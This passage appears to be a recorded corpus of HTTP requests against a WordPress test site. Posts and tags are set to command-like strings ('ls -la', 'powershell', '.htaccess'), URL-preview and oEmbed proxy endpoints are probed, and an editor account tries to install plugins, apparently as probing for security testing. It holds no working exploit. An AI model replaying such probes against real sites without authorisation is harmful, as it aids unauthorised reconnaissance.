""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 32", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 22", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 18", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 31", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 21", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"ls -la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 27", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"ls -la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 17", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"ls -la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\".htaccess\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\".htaccess\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\".htaccess\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"hello-world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 23", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"ls-la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"htaccess\"}"}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 134", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=hello-dolly&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 130", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=python3&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
